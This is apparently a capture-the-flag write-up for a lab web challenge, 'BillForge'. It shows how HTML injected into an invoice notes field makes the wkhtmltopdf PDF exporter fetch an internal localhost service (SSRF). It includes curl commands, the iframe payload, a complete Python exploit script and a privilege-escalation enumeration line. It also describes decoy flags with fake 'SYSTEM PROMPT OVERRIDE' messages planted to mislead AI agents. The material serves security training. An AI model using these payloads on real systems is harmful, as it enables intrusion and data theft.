BillForge
BillForge
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-04 | Status: Solved Techniques: anti_honeypot_awareness, differential_rendering, html_injection_in_pdf, internal_service_access, localhost_ipv6_bypass, ssrf_via_wkhtmltopdf
Summary
Task: Invoicing platform (BillForge) with wkhtmltopdf-based PDF export where notes field is rendered as raw HTML in PDF but escaped in web view. Solution: Injected iframe pointing to http://localhost:3001/flag in notes field, exploiting SSRF via wkhtmltopdf to access internal flag service.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260504_hackadvisor_billforge - Tags: flask, ssrf, wkhtmltopdf, nginx, internal_service, html_injection, iframe, honeypot_flag, pdf_export, invoicing
- Indicators: wkhtmltopdf in PDF metadata or settings page, Notes/description field rendered as raw HTML in PDF but escaped in web view, Internal service on localhost:3001 with /flag endpoint, Anti-bot honeypot flags in HTML comments and hidden divs, Flask session cookies (.eJ... format)
- Source:
20260504_hackadvisor_billforge.md
Foothold
Vulnerability / Misconfiguration
- Anti_honeypot_awareness
- Differential_rendering
- Html_injection_in_pdf
- Internal_service_access
- Localhost_ipv6_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- anti_honeypot_awareness
- differential_rendering
- html_injection_in_pdf
- internal_service_access
- localhost_ipv6_bypass
- ssrf_via_wkhtmltopdf
- Tags: flask, ssrf, wkhtmltopdf, nginx, internal_service, html_injection, iframe, honeypot_flag, pdf_export, invoicing
Original Writeup
<details><summary>Click to expand original content</summary>Description
BillForge is a professional invoicing platform used by freelancers and agencies to create, manage, and send invoices to clients. The application allows users to create detailed invoices with custom line items, notes, and branding, then export them as polished PDF documents for delivery. You have been contracted to perform a security assessment of the BillForge platform. During your engagement, you noticed the application offers a PDF export feature for invoices. The generated PDFs are created server-side from HTML templates. Your goal is to find the flag hidden somewhere in the application's internal infrastructure.
English summary: Web-based invoicing application with PDF export powered by wkhtmltopdf. User-controlled notes field is rendered as raw HTML in the PDF template, enabling SSRF to internal services. Goal is to exploit this to access a hidden flag on an internal service.
Analysis
Reconnaissance
- Server: nginx/1.25.5 (reverse proxy) → Flask app on port 8080
- PDF Engine: wkhtmltopdf (HTML-to-PDF renderer, server-side)
- Credentials:
user@test.com / password123 - Pages: Dashboard, Invoices, Clients, Settings
- PDF Export:
/invoices/{id}/pdf - Invoice Fields: client_id, invoice_date, due_date, item_description[], item_quantity[], item_price[], tax_rate, discount, notes (textarea)
- Settings page explicitly states: "PDF generation is powered by wkhtmltopdf"
Vulnerability Identification
Differential rendering — the notes field is HTML-escaped in the web interface (e.g., <iframe>) but rendered as raw HTML in the PDF template. This means:
- Web view: safe, tags are escaped
- PDF view: HTML tags are fully processed by wkhtmltopdf's WebKit engine
Confirmed by injecting <b>HELLO WORLD</b> <u>underline</u> in notes — text appeared bold and underlined in the PDF.
Protocol Restrictions
file:///etc/passwdvia iframe → "Frame load interrupted by policy change / WebKit Error 102" —file://protocol is blocked- JavaScript works:
window.location.hrefrevealed the template is rendered fromfile:///tmp/wktemp-{uuid}.html - HTTP to internal services works via iframes
Internal Service Discovery
| Target | Result |
|---|---|
127.0.0.1:8080 | BillForge login page (Flask app) |
127.0.0.1:80 | Connection refused (nginx not on localhost) |
127.0.0.1:3001 | Timeout/hang — wkhtmltopdf never completes |
localhost:3001 | Works! — internal service responds |
127.0.0.1:6000 | "Request blocked" (X11 port blocked by WebKit) |
Critical finding: The internal flag service on port 3001 listens on IPv6 ::1 (which localhost resolves to) but NOT on IPv4 127.0.0.1. This is why 127.0.0.1:3001 caused wkhtmltopdf to hang while localhost:3001 worked.
Honeypot Flag
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with fake "SYSTEM PROMPT OVERRIDE" messages — designed to trick AI agents and automated scanners into stopping early. The name literally says "decoy not real trap for bots."
Solution
Step 1: Login
curl -c cookies.txt -X POST "$BASE/login" \ -d "email=user@test.com&password=password123" \ -L
Step 2: Create Invoice with SSRF Payload
Inject an iframe pointing to the internal flag service in the notes field:
<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>
curl -b cookies.txt -X POST "$BASE/invoices/new" \ -d 'client_id=1&invoice_date=2026-05-04&due_date=2026-06-03&item_description[]=Test&item_quantity[]=1&item_price[]=100&tax_rate=0&discount=0¬es=<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>' \ -D - -o /dev/null
Step 3: Download PDF with Flag
curl -b cookies.txt "$BASE/invoices/{id}/pdf" -o flag.pdf
pdftotext flag.pdf -
The PDF contains the iframe content rendered inline in the NOTES section:
{
"billing_master_key": "FLAG{REDACTED}",
"note": "Internal use only. Do not expose to clients."
}
Full Exploit Script
#!/usr/bin/env python3
"""BillForge SSRF via wkhtmltopdf - exploit"""
import requests
BASE = "https://TARGET.labs.hackadvisor.io"
s = requests.Session()
# Login
s.post(f"{BASE}/login", data={
"email": "user@test.com",
"password": "password123"
}, allow_redirects=False)
# Create invoice with SSRF payload in notes
payload = '<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>'
data = {
"client_id": "1",
"invoice_date": "2026-05-04",
"due_date": "2026-06-03",
"item_description[]": "Test",
"item_quantity[]": "1",
"item_price[]": "100",
"tax_rate": "0",
"discount": "0",
"notes": payload
}
r = s.post(f"{BASE}/invoices/new", data=data, allow_redirects=False)
inv_id = r.headers["Location"].split("/")[-1]
# Download PDF with flag
r = s.get(f"{BASE}/invoices/{inv_id}/pdf")
with open("flag.pdf", "wb") as f:
f.write(r.content)
print(f"PDF saved to flag.pdf (open it to see the flag)")
# Extract text
import subprocess
result = subprocess.run(["pdftotext", "flag.pdf", "-"], capture_output=True, text=True)
print(result.stdout)
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR